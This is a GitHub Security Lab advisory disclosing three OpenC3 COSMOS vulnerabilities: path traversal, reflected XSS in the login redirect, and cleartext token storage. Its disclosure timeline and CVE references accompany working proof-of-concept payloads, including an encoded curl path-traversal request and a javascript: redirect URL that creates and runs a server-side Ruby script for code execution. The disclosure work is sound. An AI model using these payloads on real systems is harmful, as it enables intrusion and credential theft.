Coordinated Disclosure Timeline
- 2024-07-01: Vulnerabilities were reported via GitHub’s private vulnerability reporting feature.
- 2024-08-23: CVE was assigned to the Cross-site scripting vulnerability by the OpenC3 maintainers.
- 2024-10-02: OpenC3 COSMOS v5.19.0 was published with fixes for and advisories (CVE-2024-46977, CVE-2024-43795, CVE-2024-47529) for the reported vulnerabilities.
Summary
Several vulnerabilities were found in OpenC3 COSMOS, a web application that is used to control satellites and test equipment. They can lead up to Remote Code Execution (RCE) via cross-site scripting (XSS).
Following issues are part of this report:
- Issue 1: Path traversal via screen controller (
GHSL-2024-127
) - Issue 2: Cross-site scripting in Login functionality (
GHSL-2024-128
) - Issue 3: Clear text storage of password/token (
GHSL-2024-129
)
Project
OpenC3 COSMOS
Tested Version
Details
Issue 1: Path traversal via screen controller (GHSL-2024-127
)
A path traversal vulnerability inside of LocalMode
’s open_local_file
method allowed an authenticated user with adequate permissions to download any .txt
via the ScreensController#show
on the web server COSMOS is running on (depending on the file permissions).
The user-controlled parameters target
and screen
flow from ScreensController’s show
method:
def show
return unless authorization('system')
screen = Screen.find(*params.require([:scope, :target, :screen]))
[..]
into the self.find
class method of Screen
:
def self.find(scope, target, screen)
name = screen.split('*')[0].downcase # Split '*' that indicates modified - Filenames are lowercase
body(scope, "#{target}/screens/#{name}.txt")
end
In this method the parameters are joined to a partial path separated by the folder screens
and terminated by the extension .txt
.
This partial path then flows into the self.body
class method of TargetFile
:
def self.body(scope, name)
name = name.split('*')[0] # Split '*' that indicates modified
# First try opening a potentially modified version by looking for the modified target
if ENV['OPENC3_LOCAL_MODE']
local_file = OpenC3::LocalMode.open_local_file(name, scope: scope)
return local_file.read if local_file
end
[..]
This class method then calls self.open_local_file
in LocalMode
if the env variable OPENC3_LOCAL_MODE
is set to 1
(the default):
def self.open_local_file(path, scope:)
full_path = "#{OPENC3_LOCAL_MODE_PATH}/#{scope}/targets_modified/#{path}"
return File.open(full_path, 'rb')
[..]
There the path gets joined again and then flows into a File.open
sink.
This vulnerability was discovered with the help of CodeQL’s Uncontrolled data used in path expression query.
Proof of concept
Putting the different path strings from above together, gives us roughly following pattern:
full_path = "/plugins/DEFAULT/targets_modified/#{params[:target]}/screens/#{params[:name]}.txt"
return File.open(full_path, 'rb')
The default values for OPENC3_LOCAL_MODE_PATH
and scope are used. The URL parameters params[:target]
and params[:screen]
are user-controllable. Both have to be properly fed for this path traversal to be exploitable: While the initial path /plugins/DEFAULT/targets_modified/
exists on the COSMOS docker image, no subfolder named screens
exists in this folder. Due to Linux being fairly unforgiving when traversing paths a folder named screens
has to exist somewhere. On the COSMOS docker image a folder named screens
exists inside of /openc3/templates/target/targets/TARGET/
. That means the URL parameter target
needs to be used to get into that folder. The URL parameter screen
can then be used to get to any .txt
file.
So to fetch the file at /openc3/python/requirements.txt
following values have to be passed to the URL parameters:
target = "../../../../../../openc3/templates/target/targets/TARGET"
screen = "../../../../../../openc3/python/requirements"
Put together as a curl command this would look like this:
curl --path-as-is -i -s -k -X $'GET' \
-H $'Authorization: <cosmos-token>' -H $'User-Agent: Mozilla/5.0' -H $'Accept: text/html' \
$'https://<cosmos-host>/openc3-api/screen/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fopenc3%2ftemplates%2ftarget%2ftargets%2fTARGET/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fopenc3%2fpython%2frequirements?scope=DEFAULT'
(The values for <cosmos-host>
and <cosmos-token>
need to be replaced.)
Impact
This issue may lead to Information Disclosure.
Issue 2: Cross-site scripting in Login functionality (GHSL-2024-128
)
The login functionality of OpenC3 COSMOS (OSS Edition) contained a reflected cross-site scripting (XSS) vulnerability in Login.vue. An attacker can specify a malicious redirect
query parameter to trigger the vulnerability. If a JavaScript URL is passed to the redirect
parameter the attacker provided JavaScript will be executed after the user entered their password and clicked on login.
The redirect query parameter flows unchecked from:
const redirect = new URLSearchParams(window.location.search).get(
'redirect',
)
into the window.location
sink:
window.location = decodeURI(redirect || '/')
This URL needs to be accessed by a user who can reach the COSMOS instance. So an attacker might redirect a user to this URL (e.g. via Phishing email, redirect from a malicious website).
This vulnerability was discovered with the help of CodeQL’s Client-side cross-site scripting query.
Proof of concept
An attacker can send the following link to a victim, who will login:
https://<cosmos-host>/login?redirect=javascript:alert(localStorage.openc3Token)
For sake of demonstration, the password of the user will be displayed in an alert. Arbitrary javascript can be executed by the attacker in the context of the victim’s session.
Due the possibility of executing code inside the script runner instance an attacker also has the possibility of creating a JavaScript which will lead to code/command execution on the server side. For example, following JavaScript creates the script testc4.rb
with the content system('id > /tmp/pwned4.txt')
on the server. And then calls the endpoint to run this script, which will lead to the creation of the file /tmp/pwned4.txt
inside of the script runner.
fetch("/script-api/scripts/testc4.rb?scope=DEFAULT", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": localStorage.openc3Token
},
body: "{\"text\":\"system('id > /tmp/pwned4.txt')\"}"
})
.then(data => {
fetch("/script-api/scripts/testc4.rb/run?scope=DEFAULT", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": localStorage.openc3Token
},
body: "{}"
}).then(console.log("Script executed"))
});
So a more powerful proof of concept that executes code on the server instance of the script runner would look like this:
https://<cosmos-host>/login?redirect=javascript:fetch(%22/script-api/scripts/testc5.rb?scope=DEFAULT%22,%7Bmethod:%20%22POST%22,headers:%20%7B%22Content-Type%22:%20%22application/json%22,%22Authorization%22:%20localStorage.openc3Token%7D,body:%20%22%7B%5C%22text%5C%22:%5C%22system('id%20%3E%20/tmp/pwned5.txt')%5C%22%7D%22%7D).then(data%20=%3E%20%7Bfetch(%22/script-api/scripts/testc5.rb/run?scope=DEFAULT%22,%20%7Bmethod:%20%22POST%22,headers:%20%7B%22Content-Type%22:%20%22application/json%22,%22Authorization%22:%20localStorage.openc3Token%7D,body:%20%22%7B%7D%22%7D).then(console.log(%22Script%20executed%22))%7D);
Impact
This issue may lead up to Remote Code Execution (RCE).
Issue 3: Clear text storage of password/token (GHSL-2024-129
)
OpenC3 COSMOS (OSS Edition) stored the password of a user unencrypted in the LocalStorage of a web browser. This makes the user password susceptible to exfiltration via Cross-site scripting (see GHSL-2024-128) - This could get an attacker a more permanent foothold in the COSMOS instance; assuming the COSMOS instance is accessible to the attacker. The same is true for a local attacker who could access the local storage directly (in contrast to stealing a session-id that automatically expires after some time).
Login function in Login.vue where the password of the user is stored in the local storage of the browser:
login: function () {
localStorage.openc3Token = this.password
This vulnerability was discovered with the help of CodeQL’s Clear text storage of sensitive information query.
Proof of concept
An attacker can send the following link to a victim, who will login. Instead of displaying the password/token in an alert box the attacker could send the token to a remote server under their control. (This proof of concept makes use of the XSS vulnerability described in GHSL-2024-128
)
https://<cosmos-host>/login?redirect=javascript:alert(localStorage.openc3Token)
Impact
This issue may lead to Information Disclosure.
CVE
- CVE-2024-43795 - GHSL-2024-128
- CVE-2024-46977 - GHSL-2024-127
- CVE-2024-47529 - GHSL-2024-129
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-127
, GHSL-2024-128
, or GHSL-2024-129
in any communication regarding these issues.